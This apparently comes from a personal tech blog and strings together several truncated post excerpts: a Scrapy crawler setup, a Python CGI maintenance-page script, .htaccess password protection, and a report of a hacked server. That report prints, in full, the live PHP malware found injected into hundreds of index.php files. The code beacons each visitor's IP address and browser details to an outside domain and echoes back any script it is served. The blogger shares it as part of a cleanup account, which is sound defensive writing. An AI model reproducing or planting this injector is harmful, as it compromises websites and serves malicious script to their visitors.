Before a while I discovered the website crawling framework Scrapy as mentioned in my earlier post Nice Python website crawler framework. Now I wrote a little website crawler using this genius framework. Here are the steps I’ve taken to get my blog https://www.ask-sheldon.com crawled: Installation of Scrapy Install Python package management system (pip):
|
1 |
$> sudo apt-get install python-pip |
Install required networking […]
Today I stumbled over http://scrapy.org/ while searching for an OpenSource website crawler. Its an interesting crawling and scraping framework for Python. It looks very convenient and easy to use. The most interesting feature seems to be the possibility to select website elements (f.e. hyperlinks) via CSS-selectors. In any case I’ll give it a try.
I’ve searched a lot for a solution of this simple looking problem. I found a lot of irritating and confusing information about this on the WWW. From implementing a socket-application to setting up an self-made HTTP-server. But the answer is much simpler:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#!/usr/bin/python # -*- coding: UTF-8 -*- # enable debugging import sys import cgitb import os.path cgitb.enable() if os.path.exists('maintenance.html'): try: templateFile = open('maintenance.html') print '''Status:503 Content-type: text/html; charset=utf-8 Retry-After: 300 ''' print templateFile.read() except IOError , e: print("({})".format(e)) except ValueError: print "Could not convert data to an integer." except: print "Unexpected error:", sys.exc_info()[0] raise |
The empty line after the “Retry-After” Header is very important!
Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked.
|
1 2 3 4 5 6 7 8 9 10 |
<?php #19f955# error_reporting(0); ini_set('display_errors',0); $wp_sjqe08340 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_sjqe08340) && !preg_match ('/bot/i', $wp_sjqe08340))){ $wp_sjqe0908340="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08340sjqe = curl_exec ($ch); curl_close($ch);} if ( substr($wp_08340sjqe,1,3) === 'scr' ){ echo $wp_08340sjqe; } #/19f955# ?> |
The solution was the following little Python script that walks through the filesystem tree and searches for index.php’s. In every matched file it […]
To protect a folder with an password prompt, you only need to place a .htaccess and a .htpasswd into the target directory. .htaccess
|
1 2 3 4 5 6 7 |
AuthUserFile /root/path/to/.htpasswd AuthGroupFile /dev/null AuthName "Title for the popup window" AuthType Basic <Limit GET> require valid-user </Limit> |
.htpasswd
|
1 |
username:NiceCryptOrMD5encryptedPasswordHash |
The passwort can be crypted via crypt or MD5. On http://de.selfhtml.org/servercgi/server/htaccess.htm#verzeichnisschutz you can find a useful hash generator. If you have a linux shell you can use:
|
1 |
$> htpasswd -c .htpasswd username |
Or you can […]
